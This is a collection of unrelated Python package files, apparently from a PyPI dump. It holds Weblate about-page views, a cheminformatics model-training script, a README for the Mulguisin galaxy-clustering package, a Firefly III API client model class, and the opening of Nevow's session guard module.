from weblate.utils.requirements import get_versions_list
from weblate.utils.stats import GlobalStats
from weblate.vcs.gpg import get_gpg_public_key, get_gpg_sign_key
from weblate.vcs.ssh import get_key_data
MENU = (
("index", "about", _("About Weblate")),
("stats", "stats", _("Statistics")),
("keys", "keys", _("Keys")),
)
class AboutView(TemplateView):
page = "index"
def page_context(self, context):
context.update(
{
"title": _("About Weblate"),
"versions": get_versions_list(),
"allow_index": True,
}
)
def get_context_data(self, **kwargs):
context = super().get_context_data(**kwargs)
context["menu_items"] = MENU
context["menu_page"] = self.page
self.page_context(context)
return context
def get_template_names(self):
return [f"about/{self.page}.html"]
class StatsView(AboutView):
page = "stats"
def page_context(self, context):
context["title"] = _("Weblate statistics")
stats = GlobalStats()
totals = Profile.objects.aggregate(Sum("translated"))
metrics = Metric.objects.get_current(None, Metric.SCOPE_GLOBAL, 0)
context["total_translations"] = totals["translated__sum"]
context["stats"] = stats
context["metrics"] = metrics
context["top_users"] = top_users = (
Profile.objects.order_by("-translated")
.filter(user__is_bot=False, user__is_active=True)[:10]
.select_related("user")
)
translated_max = max(user.translated for user in top_users)
for user in top_users:
if translated_max:
user.translated_width = 100 * user.translated // translated_max
else:
user.translated_width = 0
class KeysView(AboutView):
page = "keys"
def page_context(self, context):
context.update(
{
"title": _("Weblate keys"),
"gpg_key_id": get_gpg_sign_key(),
"gpg_key": get_gpg_public_key(),
"ssh_key": get_key_data(),
"allow_index": True,
}
) | PypiClean |
/OCAICM-0.0.2.tar.gz/OCAICM-0.0.2/script/run_model.py | import warnings
import numpy as np
import pandas as pd
import argparse
import random as rn
import multiprocessing as mp
import time
import os
import sys
from XGB_model import tvt_xgb
from SVM_model import tvt_svm
from RF_model import tvt_rf
from KNN_model import tvt_knn
from DNN_model import tvt_dnn
from graph_model import tvt_dl
import itertools
np.set_printoptions(threshold=sys.maxsize)
#Random seeding
os.environ['PYTHONHASHSEED']='0'
np.random.seed(123)
rn.seed(123)
warnings.filterwarnings('ignore')
def file_merge(file_df,models):
filelist={}
dataset = file_df.split('/')[-1].replace('.csv','')
df =pd.read_csv(file_df)
cols = list(df.columns)
cols.remove('Smiles')
path = './dataset/{0}/result_save'.format(dataset)
for task in cols:
for model in models:
for file in os.listdir(os.path.join(os.path.join(path,task),model)):
if 'para' in file:
continue
filelist.setdefault(file,[]).append(os.path.join(os.path.join(os.path.join(os.path.join(path,task),model)),file))
for rtype in filelist.keys():
rlist = filelist[rtype]
mer = pd.DataFrame()
for file in rlist:
df = pd.read_csv(file)
mer = pd.concat([mer, df], ignore_index=True)
mer = mer.groupby(['seed', 'FP_type', 'split_type', 'type'])[
['se', 'sp', 'acc', 'mcc', 'precision','auc_prc', 'auc_roc']].mean()
mer = mer.reset_index()
save_path = os.path.join(path, rtype.split('_')[1])
if not os.path.exists(save_path):
os.makedirs(save_path)
abspath = os.path.join(save_path, rtype)
mer.to_csv(abspath, index=False)
pass
def model_set(X,Y,split_type='random',FP_type='ECFP4',model_type = 'SVM',model_dir=False,file_name=None,task_type='cla',difftasks=None):
if model_type =='SVM':
para,best = tvt_svm(X, Y, split_type=split_type, FP_type=FP_type,model_dir=model_dir)
elif model_type =='RF':
para,best = tvt_rf(X, Y, split_type=split_type, FP_type=FP_type,model_dir=model_dir)
elif model_type =='KNN':
para,best = tvt_knn(X, Y, split_type=split_type, FP_type=FP_type,model_dir=model_dir)
elif model_type == 'XGB':
para, best = tvt_xgb(X, Y, split_type=split_type, FP_type=FP_type,model_dir=model_dir)
elif model_type == 'DNN':
para, best = tvt_dnn(X, Y, split_type=split_type, FP_type=FP_type,model_dir=model_dir,file_name=file_name,difftasks=difftasks)
elif model_type == 'gat':
para, best = tvt_dl(X, Y, split_type=split_type,file_name=file_name,model_name='gat',model_dir=model_dir,difftasks=difftasks,task_type=task_type,device ='cpu')
elif model_type == 'attentivefp':
para, best = tvt_dl(X, Y, split_type=split_type,file_name=file_name,model_name='attentivefp',model_dir=model_dir,difftasks=difftasks,task_type=task_type,device ='cpu')
elif model_type == 'gcn':
para, best = tvt_dl(X, Y, split_type=split_type,file_name=file_name,model_name='gcn',model_dir=model_dir,difftasks=difftasks,task_type=task_type,device ='cpu')
else:
para, best = tvt_dl(X, Y, split_type=split_type,file_name=file_name,model_name='mpnn',model_dir=model_dir,difftasks=difftasks,task_type=task_type,device ='cpu')
return para,best
def pair_param(file_name,data,split_type,model_type,FP_type,difftasks):
if model_type in ['SVM','KNN','RF','XGB']:
if len(difftasks) == 1:
X = data.Smiles
Y = data[difftasks[0]]
model_path = 'model_save/'+model_type
model_dir = file_name.replace(file_name.split('/')[-1],model_path)
if not os.path.exists(model_dir):
os.makedirs(model_dir)
result_path = 'result_save/' + model_type
result_dir = file_name.replace(file_name.split('/')[-1], result_path)
if not os.path.exists(result_dir):
os.makedirs(result_dir)
para_name, best_name = os.path.join(result_dir,
'_'.join([split_type, model_type, FP_type, 'para.csv'])), os.path.join(
result_dir, '_'.join([split_type, model_type, FP_type, 'best.csv']))
if os.path.exists(para_name):
pass
else:
para,best = model_set(X,Y, split_type=split_type,model_type=model_type,model_dir=model_dir,file_name=file_name,FP_type=FP_type)#
para.to_csv(para_name,index=False)
best.to_csv(best_name,index=False)
else:
for task in difftasks:
rm_index = data[task][data[task].isnull()].index
data.drop(index=rm_index, inplace=True)
Y = data[task]
X = data.Smiles
model_path = 'model_save/'+task +'/'+ model_type
model_dir = file_name.replace(file_name.split('/')[-1], model_path)
if not os.path.exists(model_dir):
os.makedirs(model_dir)
result_path = 'result_save/' + task + '/' + model_type
result_dir = file_name.replace(file_name.split('/')[-1], result_path)
if not os.path.exists(result_dir):
os.makedirs(result_dir)
para_name, best_name = os.path.join(result_dir,
'_'.join([split_type, model_type, FP_type, 'para.csv'])), os.path.join(
result_dir, '_'.join([split_type, model_type, FP_type, 'best.csv']))
if os.path.exists(para_name):
pass
else:
para, best = model_set(X,Y, split_type=split_type,model_type=model_type,model_dir=model_dir,file_name=file_name,FP_type=FP_type)
para.to_csv(para_name, index=False)
best.to_csv(best_name, index=False)
elif model_type in ['DNN']:
X = data.Smiles
Y = data[difftasks[0]]
model_path = 'model_save/' + model_type
model_dir = file_name.replace(file_name.split('/')[-1], model_path)
if not os.path.exists(model_dir):
os.makedirs(model_dir)
result_path = 'result_save/' + model_type
result_dir = file_name.replace(file_name.split('/')[-1], result_path)
if not os.path.exists(result_dir):
os.makedirs(result_dir)
para_name, best_name = os.path.join(result_dir,
'_'.join([split_type, model_type, FP_type, 'para.csv'])), os.path.join(
result_dir, '_'.join([split_type, model_type, FP_type, 'best.csv']))
if os.path.exists(para_name):
print(para_name, 'has done')
pass
else:
para, best = model_set(X, Y, split_type=split_type, model_type=model_type, model_dir=model_dir,
file_name=file_name, FP_type=FP_type, difftasks=difftasks) #
para.to_csv(para_name, index=False)
best.to_csv(best_name, index=False)
else:
X = data.Smiles
Y = data[difftasks[0]]
model_path = 'model_save/' + model_type
model_dir = file_name.replace(file_name.split('/')[-1], model_path)
result_path = 'result_save/' + model_type
result_dir = file_name.replace(file_name.split('/')[-1], result_path)
if not os.path.exists(model_dir):
os.makedirs(model_dir)
if not os.path.exists(result_dir):
os.makedirs(result_dir)
para_name, best_name = os.path.join(result_dir, '_'.join([split_type, model_type, 'para.csv'])), os.path.join(
result_dir, '_'.join([split_type, model_type, 'best.csv']))
if os.path.exists(para_name):
print(para_name, "exists files")
pass
else:
para, best = model_set(X, Y, split_type=split_type, model_type=model_type, model_dir=model_dir,
file_name=file_name, difftasks=difftasks)
para.to_csv(para_name, index=False)
best.to_csv(best_name, index=False)
return
return
def parse_args():
parser = argparse.ArgumentParser()
parser.add_argument('--file', required=True, help='we must give this para')
parser.add_argument('--split', default=['scaffold'], nargs='*',choices = ['random','scaffold','cluster'])
parser.add_argument('--FP', default=['MACCS'], nargs='*',choices = ['ECFP4','MACCS','2d-3d','pubchem'])
parser.add_argument('--model', default=['SVM'], nargs='*',choices = ['DNN','KNN','SVM','RF','XGB'])
parser.add_argument('--threads', default=10,type=int)
parser.add_argument('--mpl', default=False, type=str)
parser.add_argument('--device', default='cpu', choices=['cpu', 'gpu'])
args = parser.parse_args()
return args
def main(file,split,FP,models,cpus,mpl,device):
ml_models = [model for model in models if model in ['KNN','SVM','RF','XGB']]
ml = {'split':split,'FP':FP,'model':ml_models}
ml = pd.DataFrame(list(itertools.product(*ml.values())),columns=ml.keys())
dl_models = [model for model in models if model in ['gcn','gat','mpnn','attentivefp']]
dl = {'split':split,'model':dl_models}
dl = pd.DataFrame(list(itertools.product(*dl.values())),columns=dl.keys())
data = pd.read_csv(file, error_bad_lines=False)
difftasks = list(data.columns)
difftasks.remove('Smiles')
if mpl == False:
for i in range(len(ml.index.values)):
start_time = time.time()
split_type = ml.iloc[i].split
FP_type = ml.iloc[i].FP
model_type = ml.iloc[i].model
a = pair_param(file, data, split_type, model_type, FP_type,difftasks)
use_time = round(time.time() - start_time,5)
if use_time >=1:
local_time = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime())
record_save = file.replace(file.split('dataset')[-1],'/record_every_model.csv')
f = open(record_save, 'a+')
f.write(",".join([file, split_type, model_type, str(use_time),local_time,FP_type,'\n']))
f.close()
else:
p = mp.Pool(processes = cpus)
for i in range(len(ml.index.values)):
start_time = time.time()
split_type = ml.iloc[i].split
FP_type = ml.iloc[i].FP
model_type = ml.iloc[i].model
result = p.apply_async(pair_param,args=(file,data,split_type,model_type,FP_type,difftasks))
use_time = int(time.time() - start_time)
if use_time >= 1:
local_time = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime())
record_save = file.replace(file.split('dataset')[-1], '/record_every_model.csv')
f = open(record_save, 'a+')
f.write(",".join([file, split_type, model_type, str(use_time),local_time,FP_type,'\n']))
f.close()
p.close()
p.join()
if 'DNN' in models:
dnn = {'split':split,'FP':FP,'model':['DNN']}
dnn = pd.DataFrame(list(itertools.product(*dnn.values())), columns=dnn.keys())
for i in range(len(dnn.index.values)):
start_time = time.time()
split_type = dnn.iloc[i].split
FP_type = dnn.iloc[i].FP
model_type = dnn.iloc[i].model
a = pair_param(file, data, split_type, model_type, FP_type, difftasks)
use_time = round(time.time() - start_time, 5)
local_time = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime())
if use_time >=1:
record_save = file.replace(file.split('dataset')[-1], '/record_every_model.csv')
f = open(record_save, 'a+')
f.write(",".join([file, split_type, model_type, str(use_time), local_time, FP_type, '\n']))
f.close()
for i in range(len(dl.index.values)):
split_type = dl.iloc[i].split
model_type = dl.iloc[i].model
start_time = time.time()
a = pair_param(file, data, split_type, model_type, device, difftasks)
use_time = int(time.time() - start_time)
if use_time >= 1:
local_time = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime())
record_save = file.replace(file.split('dataset')[-1], '/record_every_model.csv')
f = open(record_save, 'a+')
f.write(",".join([file, split_type, model_type, str(use_time), local_time, device, "\n"]))
f.close()
if len(difftasks) > 1:
if len(set((['KNN', 'SVM', 'RF', 'XGB'])) | set(models)) > 0:
need = list(set((['KNN', 'SVM', 'RF', 'XGB'])) & set(models))
file_merge(file,need)
if __name__ == '__main__':
args = parse_args()
file = args.file
split = args.split
FP = args.FP
model = args.model
cpus=args.threads
mpl = args.mpl
device = args.device
main(file,split,FP,model,cpus,mpl,device) | PypiClean |
/mrv-1.0.2-stable.zip/mrv-1.0.2-stable/mrv/maya/ui/browse/control.py | """Contains ui modules to build a finder-like browser for items of any kind"""
__docformat__ = "restructuredtext"
from interface import (iFinderProvider, iFinderFilter)
import mrv.maya.ui as ui
from mrv.maya.util import (OptionVarDict, logException )
from util import concat_url
from mrv.path import Path
opts = OptionVarDict()
__all__ = ( 'FileProvider', 'BookmarkControl',
'FilePathControl', 'FileFilterControl', 'FinderElement',
'FileStack', 'FileRootSelectorControl', 'FilePathControlEditable')
#{ Utilities
class FileProvider(iFinderProvider):
"""Implements a provider for a file system"""
__slots__ = "_root"
def __init__(self, root):
super(FileProvider, self).__init__(root)
self._root = Path(self._root)
def formatItem(self, url_base, url_index, url_item):
return url_item
def urlItems(self, url):
"""Return directory items alphabetically, directories first"""
path = self._root / url
dirs, files = list(), list()
try:
for abs_path in path.listdir():
if abs_path.isdir():
dirs.append(abs_path)
else:
files.append(abs_path)
# END sort by type
# END for each listed path
dirs.sort()
files.sort()
return [abspath.basename() for abspath in (dirs + files)]
except OSError:
# ignore attempts to get path on a file for instance
return list()
# END exception handling
class StackControlBase(ui.TextScrollList):
"""stack base implementation. A stack keeps multiple items which can be added
and removed. Additionally, it allows to remap the items, effectively showing
a formatted item, which is kept in sync with an unformatted item.
:note: for now, only adding items, format will be applied. All other methods
operate on the formatted items."""
def __init__(self, *args, **kwargs):
super(StackControlBase, self).__init__(*args, **kwargs)
# unformatted items
self.base_items = list()
#{ Interface
def formatItem(self, item):
""":return: formatted version of item"""
return item
def selectedUnformattedItem(self):
""":return: unformatted selected item or None"""
index = self.selectedIndex()
if index < 0:
return None
return self.base_items[index-1]
def selectUnformattedItem(self, index_or_item):
"""Select the unformatted item as identified by either the index or item
:param index_or_item: integer representing the 0-based index of the item to
select, or the item's id
:raise ValueError: if the item does not exist"""
index = index_or_item
if not isinstance(index_or_item, int):
index = self.base_items.index(index_or_item)
self.p_selectIndexedItem = index+1
#} END Interface
#{ Overridden Methods
def removeItem(self, item):
"""Remove the given formatted item from the list, as well as the corresponding
unformtted item. Its not an error if the item does not exist"""
try:
index = self.items().index(item)
del(self.base_items[index])
super(StackControlBase, self).removeItem(item)
except (ValueError, IndexError):
pass
# END exception handling
return self
def addItem(self, item):
self.base_items.append(item)
return super(StackControlBase, self).addItem(self.formatItem(item))
#} END overridden methods
class FinderElement(StackControlBase):
"""Element with special abilities to suite the finder better. This involves
keeping a list of unformatted items which can be used as unique item identifiers.
Set the items to a list of unique identifiers which represent the possibly different
items actually present in the list."""
class FileStack(StackControlBase):
"""Implements a stack which shows only the base names of files"""
#{ Overrides
def formatItem(self, item):
return Path(item).basename()
#} END overrides
class FilePathControl(ui.TextField):
"""Control displaying a relative url. If it is ediable, a filepath may be
entered and queried"""
#{ Interface
def path(self):
""":return: string representing the currently active path"""
return self.p_text
def setPath(self, path):
"""Set the control to display the given path"""
if path is None:
path = ''
self.p_text = str(path)
def setEditable(self, state):
self.p_editable = state
def editable(self):
""":return: True if the control can be edited by the user"""
return self.p_editable
#} END interface
class FilePathControlEditable(FilePathControl):
"""A filepath control which tries to maintain changes applied by the user.
It assumes that the system will use setPath to adjust the path, and checks
for changes in the path string which will be reapplied to the newly set path
if possible"""
def __init__(self, *args, **kwargs):
super(FilePathControlEditable, self).__init__(*args, **kwargs)
self._prev_path = ''
def setPath(self, path):
# figure out the changes - only care for append operations
if path is not None:
appended_text = self.p_text.replace(self._prev_path, '', 1)
self._prev_path = path
path += appended_text
# END handle previous path
super(FilePathControlEditable, self).setPath(path)
class BookmarkControl(StackControlBase):
"""Control allowing to display a set of custom bookmarks, which are stored
in optionVars"""
#{ Configuration
# Default name used to store bookmarks in optionVars. Adjust this id in case
# you have different sets of bookmarks to store
k_bookmark_store = "MRV_bookmarks"
#} END configuration
#{ Signals
# s(root, path)
bookmark_changed = ui.Signal()
#} END signals
def __init__(self, *args, **kwargs):
# fill ourselves with the stored bookmarks
# List of tuples: root,relative_path
super(BookmarkControl, self).__init__(*args, **kwargs)
self.setItems(self._unpack_stored_bookmarks())
self.e_selectCommand = self._selection_changed
def _parse_bookmark(self, bookmark):
""":return: root,path tuple or raise"""
root, path = None, None
if isinstance(bookmark, tuple) and len(bookmark) == 2:
root, path = bookmark
else:
bookmark = Path(bookmark)
root = bookmark.root()
root_with_sep = (root.endswith(root.sep) and root) or (root + root.sep)
path = Path(bookmark.replace(root_with_sep, '', 1))
# END handle bookmark
return root, path
def _unpack_stored_bookmarks(self):
""":return: list of tuples of root,path pairs"""
miter = iter(opts.get(self.k_bookmark_store, list()))
return [item for item in zip(miter, miter)]
def _store_item_list(self, items):
"""Store a list of pairs"""
flattened_list = list()
for pair in items:
flattened_list.extend(pair)
# END flatten list
opts[self.k_bookmark_store] = flattened_list
def _store_bookmark(self, root, path, add=True):
"""Store the given path under the given root
:param add: if True, the path will be added to the bookmarks of the given
root, otherwise it will be removed"""
items = self._unpack_stored_bookmarks()
index_to_remove = None
for index, (oroot, opath) in enumerate(items):
if oroot == root and opath == path:
if add:
return
else:
index_to_remove = index
break
# END skip existing
# END similar item is stored already
# END for each stored item
if add:
items.append((root, path))
else:
if index_to_remove is None:
return
# END ignore items that do not exist
del(items[index_to_remove])
# END end handle stored
self._store_item_list(items)
@logException
def _selection_changed(self, *args):
"""Convert the default callback into our signals"""
if not self.base_items:
return
root, path = self.base_items[self.selectedIndex()-1]
self.bookmark_changed.send(root, path)
# as we are one-time actions only, deselect everything
self.setSelectedItem(None)
#{ StackControl Interface
def formatItem(self, root_path_tuple):
if isinstance(root_path_tuple, tuple):
return Path(root_path_tuple[-1]).basename()
else:
return Path(root_path_tuple).basename()
#} END stackcontrol interface
def addItem(self, bookmark):
"""Add a new bookmark
:param bookmark: tuple of root,relative_path or a single absolute path. In the
latter case, the root will be the natural root of the absolute path"""
root, path = self._parse_bookmark(bookmark)
bm_formatted = self.formatItem((root, path))
# duplicate prevention
if bm_formatted in self.items():
return
# END handle duplicates
self._store_bookmark(root, path, add=True)
super(BookmarkControl, self).addItem((root, path))
def setItems(self, bookmarks):
"""Set this control to a list of bookmarks
:param bookmarks: list of either tuples of (root, path) pairs or absolute paths
whose root will be chosen automatically"""
bms = list()
self.base_items = list()
for item in bookmarks:
self.base_items.append(self._parse_bookmark(item))
bms.append(self.formatItem(self.base_items[-1]))
# END for each item
super(BookmarkControl, self).setItems(bms)
# store all items together
del(opts[self.k_bookmark_store])
self._store_item_list(self.base_items)
def removeItem(self, bookmark):
"""Remove the given bookmark from the list of bookmarks
:param bookmark: full path to the bookmark to remove. Its not an error
if it doesn't exist in the first place"""
items = self.items()
try:
index = self.items().index(bookmark)
root, path = self.base_items[index]
super(BookmarkControl, self).removeItem(bookmark)
self._store_bookmark(root, path, add=False)
except (ValueError, IndexError):
return
# END exception handling
class FileRootSelectorControl(ui.TextScrollList):
"""Keeps a list of possible roots which can be chosen. Each root is represented
by a Provider instance."""
#{ Signals
# s(Provider)
root_changed = ui.Signal()
#} END signals
def __init__(self, *args, **kwargs):
self._providers = list()
self.e_selectCommand = self._selection_changed
def _provider_by_root(self, root):
""":return: provider instance having the given root, or None"""
for p in self._providers:
if p.root() == root:
return p
# END check match
# END for each of our providers
return None
def setItems(self, providers):
"""Set the given providers to be used by this instance
:param providers: list of FileProvider instances"""
for provider in providers:
if not isinstance(provider, FileProvider):
raise ValueError("Require %s instances" % FileProvider)
# END verify type
# END for each provider
self._providers = providers
super(FileRootSelectorControl, self).setItems(p.root() for p in self._providers)
def addItem(self, provider):
"""Add the given provider to our list of provides"""
super(FileRootSelectorControl, self).addItem(provider.root())
self._providers.append(provider)
def removeItem(self, provider):
"""Remove the given provider from the list
:param provider: FileProvider instance or root from which the provider
can be determined"""
if isinstance(provider, basestring):
provider = self._provider_by_root(provider)
if provider is None:
return
# END abort if not found
# END handle provider type
try:
self._providers.remove(provider)
except ValueError:
return
else:
self.setItems(self._providers)
# END exception handling
def setSelectedItem(self, item):
"""Fires a root_changed event if the item actually caused a selection change"""
cur_index = self.selectedIndex()
super(FileRootSelectorControl, self).setSelectedItem(item)
if cur_index == self.selectedIndex():
return
# END skip if no change
self._selection_changed()
#{ Interface
def providers(self):
""":return: list of currently used providers"""
return list(self._providers)
#} END interface
#{ Callbacks
def _selection_changed(self, *args):
index = self.selectedIndex()-1
self.root_changed.send(self._providers[index])
#} END callbacks
#} END utilities
#{ Modules
class FileFilterControl(ui.FormLayout, iFinderFilter):
"""Control providing a filter for finder urls which are file paths"""
#} END modules | PypiClean |
/Mulguisin-0.91.tar.gz/Mulguisin-0.91/README.md | <div align="center">
<!-- MGS logo -->
<img src="./MGS_logo.png" width=300>
</div>
# Mulguisin
The Mulguisin(MGS) is a cluster/group finding algorithm in galaxy data.
It can find group/cluster structure from the galaxy data and also provide topological informations.
It has been developed by InKyu Park to find jet structure for the LHC experiment.
Now, he modify the Mulguisin that can be applied to galaxy data.
## Install
The MGS can be install via pip install:
```
pip install Mulguisin
```
### Source code
The latest version of MGS can be download with:
```
git clone https://github.com/youngju20/Mulguisin.git
```
## Basic usage
```python
>>> import Mulguisin
>>> import numpy as np
>>> data = np.random.random((10,2))
>>> boundaries = [0,1,0,1]
>>> Rcut = 0.1
>>> mgs_init = Mulguisin.mulguisin_type('voronoi')
>>> MGS = mgs_init(Rcut,data[:,0],data[:,1],boundaries=boundaries)
>>> Nmgs, imgs, clg, clm, cng = MGS.get_mgs()
>>> Nmgs
9
```
### Plot the MGS
* The label contains information about which data belongs to the corresponding MGS. The label is (len(data), ) array and each value in the label indicates the each MGS group.
e.g.) label = [0, 0, 0, 1, 2]. The first data point is belongs to the first largest MGS group.
```python
>>> import matplotlib.pyplot as plt
>>> label = MGS.get_label()
>>> for i in range(Nmgs):
... ids = np.where(label==i)[0]
... plt.scatter(data[:,0][ids],data[:,1][ids],c='C%s'%i)
...
>>> plt.show()
```
### Another case
* The MGS uses Voronoi tessellation when it estimates density. But, sometimes it cannot calculate Voronoi cell because of several reasons. So, we also provide local density method to estimate density. The following example shows how to use 'local density' method.
```python
>>> import Mulguisin
>>> import numpy as np
>>> data = np.random.random((10,2))
>>> Rcut = 0.1
>>> radius = 0.5 # This is the radius for local density method
>>> mgs_init = Mulguisin.mulguisin_type('local')
>>> MGS = mgs_init(Rcut,data[:,0],data[:,1],radius=radius)
>>> Nmgs, imgs, clg, clm, cng = MGS.get_mgs()
>>> Nmgs
9
```
### More examples are in the [test](test). We provide jupyter notebook to test MGS code.
| PypiClean |
/Firefly%20III%20API%20Python%20Client-1.5.6.post2.tar.gz/Firefly III API Python Client-1.5.6.post2/firefly_iii_client/model/rule_trigger_update.py | import re # noqa: F401
import sys # noqa: F401
from firefly_iii_client.model_utils import ( # noqa: F401
ApiTypeError,
ModelComposed,
ModelNormal,
ModelSimple,
cached_property,
change_keys_js_to_python,
convert_js_args_to_python_args,
date,
datetime,
file_type,
none_type,
validate_get_composed_info,
)
from ..model_utils import OpenApiModel
from firefly_iii_client.exceptions import ApiAttributeError
def lazy_import():
from firefly_iii_client.model.rule_trigger_keyword import RuleTriggerKeyword
globals()['RuleTriggerKeyword'] = RuleTriggerKeyword
class RuleTriggerUpdate(ModelNormal):
"""NOTE: This class is auto generated by OpenAPI Generator.
Ref: https://openapi-generator.tech
Do not edit the class manually.
Attributes:
allowed_values (dict): The key is the tuple path to the attribute
and the for var_name this is (var_name,). The value is a dict
with a capitalized key describing the allowed value and an allowed
value. These dicts store the allowed enum values.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
discriminator_value_class_map (dict): A dict to go from the discriminator
variable value to the discriminator class name.
validations (dict): The key is the tuple path to the attribute
and the for var_name this is (var_name,). The value is a dict
that stores validations for max_length, min_length, max_items,
min_items, exclusive_maximum, inclusive_maximum, exclusive_minimum,
inclusive_minimum, and regex.
additional_properties_type (tuple): A tuple of classes accepted
as additional properties values.
"""
allowed_values = {
}
validations = {
}
@cached_property
def additional_properties_type():
"""
This must be a method because a model may have properties that are
of type self, this must run after the class is loaded
"""
lazy_import()
return (bool, date, datetime, dict, float, int, list, str, none_type,) # noqa: E501
_nullable = False
@cached_property
def openapi_types():
"""
This must be a method because a model may have properties that are
of type self, this must run after the class is loaded
Returns
openapi_types (dict): The key is attribute name
and the value is attribute type.
"""
lazy_import()
return {
'active': (bool,), # noqa: E501
'order': (int,), # noqa: E501
'stop_processing': (bool,), # noqa: E501
'type': (RuleTriggerKeyword,), # noqa: E501
'value': (str,), # noqa: E501
}
@cached_property
def discriminator():
return None
attribute_map = {
'active': 'active', # noqa: E501
'order': 'order', # noqa: E501
'stop_processing': 'stop_processing', # noqa: E501
'type': 'type', # noqa: E501
'value': 'value', # noqa: E501
}
read_only_vars = {
}
_composed_schemas = {}
@classmethod
@convert_js_args_to_python_args
def _from_openapi_data(cls, *args, **kwargs): # noqa: E501
"""RuleTriggerUpdate - a model defined in OpenAPI
Keyword Args:
_check_type (bool): if True, values for parameters in openapi_types
will be type checked and a TypeError will be
raised if the wrong type is input.
Defaults to True
_path_to_item (tuple/list): This is a list of keys or values to
drill down to the model in received_data
when deserializing a response
_spec_property_naming (bool): True if the variable names in the input data
are serialized names, as specified in the OpenAPI document.
False if the variable names in the input data
are pythonic names, e.g. snake case (default)
_configuration (Configuration): the instance to use when
deserializing a file_type parameter.
If passed, type conversion is attempted
If omitted no type conversion is done.
_visited_composed_classes (tuple): This stores a tuple of
classes that we have traveled through so that
if we see that class again we will not use its
discriminator again.
When traveling through a discriminator, the
composed schema that is
is traveled through is added to this set.
For example if Animal has a discriminator
petType and we pass in "Dog", and the class Dog
allOf includes Animal, we move through Animal
once using the discriminator, and pick Dog.
Then in Dog, we will make an instance of the
Animal class but this time we won't travel
through its discriminator because we passed in
_visited_composed_classes = (Animal,)
active (bool): If the trigger is active.. [optional] # noqa: E501
order (int): Order of the trigger. [optional] # noqa: E501
stop_processing (bool): When true, other triggers will not be checked if this trigger was triggered.. [optional] # noqa: E501
type (RuleTriggerKeyword): [optional] # noqa: E501
value (str): The accompanying value the trigger responds to. This value is often mandatory, but this depends on the trigger.. [optional] # noqa: E501
"""
_check_type = kwargs.pop('_check_type', True)
_spec_property_naming = kwargs.pop('_spec_property_naming', False)
_path_to_item = kwargs.pop('_path_to_item', ())
_configuration = kwargs.pop('_configuration', None)
_visited_composed_classes = kwargs.pop('_visited_composed_classes', ())
self = super(OpenApiModel, cls).__new__(cls)
if args:
raise ApiTypeError(
"Invalid positional arguments=%s passed to %s. Remove those invalid positional arguments." % (
args,
self.__class__.__name__,
),
path_to_item=_path_to_item,
valid_classes=(self.__class__,),
)
self._data_store = {}
self._check_type = _check_type
self._spec_property_naming = _spec_property_naming
self._path_to_item = _path_to_item
self._configuration = _configuration
self._visited_composed_classes = _visited_composed_classes + (self.__class__,)
for var_name, var_value in kwargs.items():
if var_name not in self.attribute_map and \
self._configuration is not None and \
self._configuration.discard_unknown_keys and \
self.additional_properties_type is None:
# discard variable.
continue
setattr(self, var_name, var_value)
return self
required_properties = set([
'_data_store',
'_check_type',
'_spec_property_naming',
'_path_to_item',
'_configuration',
'_visited_composed_classes',
])
@convert_js_args_to_python_args
def __init__(self, *args, **kwargs): # noqa: E501
"""RuleTriggerUpdate - a model defined in OpenAPI
Keyword Args:
_check_type (bool): if True, values for parameters in openapi_types
will be type checked and a TypeError will be
raised if the wrong type is input.
Defaults to True
_path_to_item (tuple/list): This is a list of keys or values to
drill down to the model in received_data
when deserializing a response
_spec_property_naming (bool): True if the variable names in the input data
are serialized names, as specified in the OpenAPI document.
False if the variable names in the input data
are pythonic names, e.g. snake case (default)
_configuration (Configuration): the instance to use when
deserializing a file_type parameter.
If passed, type conversion is attempted
If omitted no type conversion is done.
_visited_composed_classes (tuple): This stores a tuple of
classes that we have traveled through so that
if we see that class again we will not use its
discriminator again.
When traveling through a discriminator, the
composed schema that is
is traveled through is added to this set.
For example if Animal has a discriminator
petType and we pass in "Dog", and the class Dog
allOf includes Animal, we move through Animal
once using the discriminator, and pick Dog.
Then in Dog, we will make an instance of the
Animal class but this time we won't travel
through its discriminator because we passed in
_visited_composed_classes = (Animal,)
active (bool): If the trigger is active.. [optional] # noqa: E501
order (int): Order of the trigger. [optional] # noqa: E501
stop_processing (bool): When true, other triggers will not be checked if this trigger was triggered.. [optional] # noqa: E501
type (RuleTriggerKeyword): [optional] # noqa: E501
value (str): The accompanying value the trigger responds to. This value is often mandatory, but this depends on the trigger.. [optional] # noqa: E501
"""
_check_type = kwargs.pop('_check_type', True)
_spec_property_naming = kwargs.pop('_spec_property_naming', False)
_path_to_item = kwargs.pop('_path_to_item', ())
_configuration = kwargs.pop('_configuration', None)
_visited_composed_classes = kwargs.pop('_visited_composed_classes', ())
if args:
raise ApiTypeError(
"Invalid positional arguments=%s passed to %s. Remove those invalid positional arguments." % (
args,
self.__class__.__name__,
),
path_to_item=_path_to_item,
valid_classes=(self.__class__,),
)
self._data_store = {}
self._check_type = _check_type
self._spec_property_naming = _spec_property_naming
self._path_to_item = _path_to_item
self._configuration = _configuration
self._visited_composed_classes = _visited_composed_classes + (self.__class__,)
for var_name, var_value in kwargs.items():
if var_name not in self.attribute_map and \
self._configuration is not None and \
self._configuration.discard_unknown_keys and \
self.additional_properties_type is None:
# discard variable.
continue
setattr(self, var_name, var_value)
if var_name in self.read_only_vars:
raise ApiAttributeError(f"`{var_name}` is a read-only attribute. Use `from_openapi_data` to instantiate "
f"class with read only attributes.") | PypiClean |
/Nevow-0.14.5.tar.gz/Nevow-0.14.5/nevow/guard.py | __metaclass__ = type
import random
import time
try:
from hashlib import md5
except ImportError:
from md5 import md5
import StringIO
from zope.interface import implements
# Twisted Imports
from twisted.python import log, components
from twisted.internet import defer
from twisted.cred.error import UnauthorizedLogin
from twisted.cred.credentials import UsernamePassword, Anonymous
try:
from twisted.web import http
except ImportError:
from twisted.protocols import http
# Nevow imports
from nevow import inevow, url, stan
def _sessionCookie():
return md5("%s_%s" % (str(random.random()) , str(time.time()))).hexdigest()
class GuardSession(components.Componentized):
"""A user's session with a system.
This utility class contains no functionality, but is used to
represent a session.
"""
implements(inevow.ISession, inevow.IGuardSession)
def __init__(self, guard, uid):
"""Initialize a session with a unique ID for that session.
"""
components.Componentized.__init__(self)
self.guard = guard
self.uid = uid
self.expireCallbacks = []
self.checkExpiredID = None
self.setLifetime(60)
self.portals = {}
self.touch()
# New Guard Interfaces
